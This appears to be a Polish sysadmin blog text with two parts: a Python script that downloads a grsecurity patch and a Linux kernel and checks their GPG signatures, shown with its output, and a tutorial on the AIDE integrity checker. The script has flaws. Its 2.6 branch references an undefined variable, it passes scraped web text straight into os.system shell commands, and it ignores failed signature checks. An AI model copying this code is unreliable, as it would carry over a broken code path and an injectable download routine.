# Skrypt pobiera Grsecurity i odpowiedni dla niego Kernel oraz weryfikuje pobrane pliki.
 
import os
import lxml.html # paczka python3-lxml (python-lxml)
 
gpg = 'gpg --keyserver "hkp://pgp.mit.edu" --recv-keys '
os.system(gpg+'4245D46A') # Bradley Spengler
os.system(gpg+'6092693E') # Greg Kroah-Hartman
 
kernel = os.uname()[2].split('.')[0] # ustalenie aktualnej wersji jądra
 
grsec = lxml.html.parse('http://grsecurity.net/test.php')
grsec_version = grsec.xpath('//a[starts-with(@href, "test/grsecurity-")]/text()') # XML Path Language (XPath)
grsec_url = 'http://grsecurity.net/test/'
kernel_url = 'http://www.kernel.org/pub/linux/kernel/'
 
green_color = '\x1b[32;1m'
red_color = '\x1b[31;1m'
end_color = '\x1b[0m'
 
dl_error = red_color+'^'*28+'\nBłąd, nie mogę pobrać pliku!'+end_color

wget = 'wget -q -t 2 -T 5 '
 
if kernel == '3':
  print (green_color+grsec_url+grsec_version[0]+end_color)
  if os.system(wget+grsec_url+grsec_version[0]): print (dl_error) ; raise SystemExit(3)
 
  print (green_color+grsec_url+grsec_version[0]+'.sig'+end_color)
  if os.system(wget+grsec_url+grsec_version[0]+'.sig'): print (dl_error) ; raise SystemExit(3)
 
  os.system('gpg --verify '+grsec_version[0]+'.sig')
 
  kernel_v3 = grsec_version[0].split('-')[2]
 
  print (green_color+kernel_url+'v3.0/linux-'+kernel_v3+'.tar.bz2'+end_color)
  if os.system(wget+kernel_url+'v3.0/linux-'+kernel_v3+'.tar.bz2'): print (dl_error) ; raise SystemExit(3)
 
  print (green_color+kernel_url+'v3.0/linux-'+kernel_v3+'.tar.sign'+end_color)
  if os.system(wget+kernel_url+'v3.0/linux-'+kernel_v3+'.tar.sign'): print (dl_error) ; raise SystemExit(3)
 
  os.system('bzip2 -dq linux-'+kernel_v3+'.tar.bz2')
 
  os.system('gpg --verify linux-'+kernel_v3+'.tar.sign linux-'+kernel_v3+'.tar')
 
  os.system('ls -lah')
 
elif kernel == '2': # 2.6
  print (green_color+grsec_url+grsec_version[2]+end_color)
  if os.system(wget+grsec_url+grsec_version[2]): print (dl_error) ; raise SystemExit(3)
 
  print (green_color+grsec_url+grsec_version[2]+'.sig'+end_color)
  if os.system(wget+grsec_url+grsec_version[2]+'.sig'): print (dl_error) ; raise SystemExit(3)
 
  os.system('gpg --verify '+grsec_version[2]+'.sig')
 
  kernel_v2 = grsec_version[2].split('-')[2]
 
  print (green_color+kernel_url+'v2.6/linux-'+kernel_v2+'.tar.bz2'+end_color)
  if os.system(wget+kernel_url+'v2.6/linux-'+kernel_v3+'.tar.bz2'): print (dl_error) ; raise SystemExit(3)
 
  print (green_color+kernel_url+'v2.6/linux-'+kernel_v2+'.tar.sign'+end_color)
  if os.system(wget+kernel_url+'v2.6/linux-'+kernel_v3+'.tar.sign'): print (dl_error) ; raise SystemExit(3)
 
  os.system('bzip2 -dq linux-'+kernel_v2+'.tar.bz2')
 
  os.system('gpg --verify linux-'+kernel_v2+'.tar.sign linux-'+kernel_v2+'.tar')
 
  os.system('ls -lah')
 
else:
  print (red_color+"Błąd, nie można ustalić aktualnej wersji jądra!"+end_color) ; raise SystemExit(3) # zmienna kernel
# wget http://adamziaja.googlecode.com/files/grsec_python2_2012-01-16.py
# python2.6 grsec_python2_2012-01-16.py
# wget http://adamziaja.googlecode.com/files/grsec_python3_2012-01-16.py
# python3.1 grsec_python3_2012-01-16.py
gpg: katalog ,,/root/.gnupg'' utworzony
gpg: nowy plik ustawień ,,/root/.gnupg/gpg.conf'' został utworzony
gpg: OSTRZEŻENIE: opcje w ,,/root/.gnupg/gpg.conf'' nie są jeszcze uwzględnione.
gpg: zbiór kluczy ,,/root/.gnupg/secring.gpg'' został utworzony
gpg: zbiór kluczy ,,/root/.gnupg/pubring.gpg'' został utworzony
gpg: zapytanie o klucz 4245D46A w serwerze hkp pgp.mit.edu
gpg: /root/.gnupg/trustdb.gpg: baza zaufania utworzona
gpg: klucz 4245D46A: klucz publiczny ,,Bradley Spengler (spender) spender@grsecurity.net'' wczytano do zbioru
gpg: brak absolutnie zaufanych kluczy
gpg: Ogółem przetworzonych kluczy: 1
gpg:          dołączono do zbioru: 1
gpg: zapytanie o klucz 6092693E w serwerze hkp pgp.mit.edu
gpg: klucz 6092693E: klucz publiczny ,,Greg Kroah-Hartman (Linux kernel stable release signing key) greg@kroah.com'' wczytano do zbioru
gpg: brak absolutnie zaufanych kluczy
gpg: Ogółem przetworzonych kluczy: 1
gpg:          dołączono do zbioru: 1  (RSA: 1)
http://grsecurity.net/test/grsecurity-2.2.2-3.1.8-201201111906.patch
http://grsecurity.net/test/grsecurity-2.2.2-3.1.8-201201111906.patch.sig
gpg: Podpisano w czw, 12 sty 2012, 01:07:09 CET kluczem DSA o numerze 4245D46A
gpg: Poprawny podpis złożony przez ,,Bradley Spengler (spender) spender@grsecurity.net''
gpg: OSTRZEŻENIE: Ten klucz nie jest poświadczony zaufanym podpisem!
gpg:              Nie ma pewności co do tożsamości osoby która złożyła podpis.
Odcisk klucza głównego: 9F74 393D 7E7F FF3C 6500  E778 9879 B649 4245 D46A
http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.1.8.tar.bz2
http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.1.8.tar.sign
gpg: Podpisano w pią, 6 sty 2012, 23:22:49 CET kluczem RSA o numerze 6092693E
gpg: Poprawny podpis złożony przez ,,Greg Kroah-Hartman (Linux kernel stable release signing key) greg@kroah.com''
gpg: OSTRZEŻENIE: Ten klucz nie jest poświadczony zaufanym podpisem!
gpg:              Nie ma pewności co do tożsamości osoby która złożyła podpis.
Odcisk klucza głównego: 647F 2865 4894 E3BD 4571  99BE 38DB BDC8 6092 693E
razem 437M
drwxr-xr-x  2 root root 4,0K 01-12 22:06 .
drwxr-xr-x. 4 root root 4,0K 01-12 20:14 ..
-rw-r--r--  1 root root 3,2K 01-12 22:04 grsec.py
-rw-r--r--  1 root root 2,6M 01-12 01:06 grsecurity-2.2.2-3.1.8-201201111906.patch
-rw-r--r--  1 root root   72 01-12 01:07 grsecurity-2.2.2-3.1.8-201201111906.patch.sig
-rw-r--r--  1 root root 434M 01-07 01:31 linux-3.1.8.tar
-rw-r--r--  1 root root  836 01-07 01:31 linux-3.1.8.tar.sign
PS Tak wiem, że w BASH da się szybciej...

AIDE - weryfikacja integralności systemu

AIDE (Advanced Intrusion Detection Environment) jest narzędziem typu IDS do sprawdzania integralności systemu. Pod Debian instalujemy z paczek
apt-get update && apt-get install aide aide-common -y
pierwszy pakiet to program, drugi natomiast pliki konfiguracyjne dla Debiana. Jeśli chcemy wykluczyć sprawdzanie katalogów domowych kopiujemy przykładowy plik konfiguracyjny
cp /usr/share/doc/aide-common/examples/31_example_exclude-homes /etc/aide/aide.conf.d/ && chmod a+x /etc/aide/aide.conf.d/31_example_exclude-homes
przy czym ręcznie go wywołujemy (generuje tylko listę, poza tym nie wykonuje żadnych akcji) i upewniamy się czy rzeczywiście są to tylko katalogi użytkowników, jeśli jednak chcielibyśmy, żeby którykolwiek został to edytujemy powyższy skrypt dopisując np. grep -v ścieżka, skrypt wyklucza standardowo uid 1000 i wyżej, w celu zobaczenia co zostaje poniżej wystarczy wywołać
getent passwd | awk -v FS=":" '{ if( $3 < 1000) { print "!" $6 }}' | sort | uniq
ogólna zasada jest taka, że konfiguracja przechowywana jest w
/etc/aide/aide.conf.d/
jeśli jest skryptem (np. kiedy taka lista tworzy się dynamicznie) to naturalnie u góry musi być dopisane
#!/bin/bash
oraz ustawiony chmod
chmod a+x
zasady jak pisać reguły wraz z licznymi przykładami opisane są w dokumentacji. Właściwie powyższa konfiguracja przy standardowym wykorzystaniu wystarcza, ogólnie pliki konfiguracyjne to
/etc/aide/aide.conf
/etc/aide/aide.conf.d/*
następnym krokiem jest stworzenie nowej bazy
12:57:55:~# aideinit
Overwrite existing /var/lib/aide/aide.db.new [Yn]? y
Running aide --init...

AIDE, version 0.15.1

### AIDE database at /var/lib/aide/aide.db.new initialized.

02:50:59:~#
proces ten trochę to potrwa, dlatego najlepiej odpalić go w screen, po stworzeniu bazy, zgodnie z
# grep ^database /etc/aide/aide.conf
database=file:/var/lib/aide/aide.db
database_out=file:/var/lib/aide/aide.db.new
database_new=file:/var/lib/aide/aide.db.new
aby z niej korzystać trzeba będzie ją skopiować w odpowiednie miejsce
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
baza ta powinna być przechowywana najlepiej offline np. na CD, pliki które nas interesują w tym wypadku to
/var/lib/aide/aide.db*
/usr/bin/aide
/etc/aide/aide.conf
/etc/aide/aide.conf.d/*
z czego oczywiści najważniejsza jest pierwsza pozycja czyli baza, ponieważ niezmodyfikowany plik binarny oraz pliki konfiguracyjne możemy uzyskać poprzez reinstalacje z paczek, dodatkowo dobrą praktyką szczególnie jeśli baza przechowywana będzie na innym systemie z możliwościami do zapisu (w przeciwieństwie np. do CD-R) jest
# gpg --detach-sign aide.db 

You need a passphrase to unlock the secret key for
user: "Adam Michal Ziaja [...]"
2048-bit RSA key, ID F98A0176, created 2010-12-08

# ls
aide.db  aide.db.sig

# gpg --verify aide.db.sig aide.db
gpg: Signature made Thu Jan 12 14:10:18 2012 CET using RSA key ID F98A0176
gpg: Good signature from "Adam Michal Ziaja [...]"
przy czym może pojawić się dodatkowo
gpg: OSTRZEŻENIE: Ten klucz nie jest poświadczony zaufanym podpisem!
gpg:              Nie ma pewności co do tożsamości osoby która złożyła podpis.
co ignorujemy jeśli odcisk klucza się zgadza, informacja ta pojawia się gdy nie posiadamy klucza prywatnego lub zaufanego publicznego osoby przez którą został złożony podpis. Sprawdzenie integralności wykonujemy poprzez
aide -c /var/lib/aide/aide.conf.autogenerated --check
przy zmianie w systemie potrzebna jest aktualizacja bazy
aide --update --config=/var/lib/aide/aide.conf.autogenerated
z pewnością minus AIDE jest taki, że jest z nią dużo zabawy, tak naprawdę przy każdej aktualizacji systemu powinna być aktualizowana baza AIDE, przy czym powinny być weryfikowane różnice (co również robi przełącznik --update), a na koniec baza powinna być skopiowana poza serwer najlepiej w miejsce odłączone od sieci oraz będące tylko do odczytu np. na CD-R lub DVD-R, a nie zewnętrzny dysk, chociaż w praktyce tak naprawdę śmiało powinien wystarczyć podpis GPG (PGP).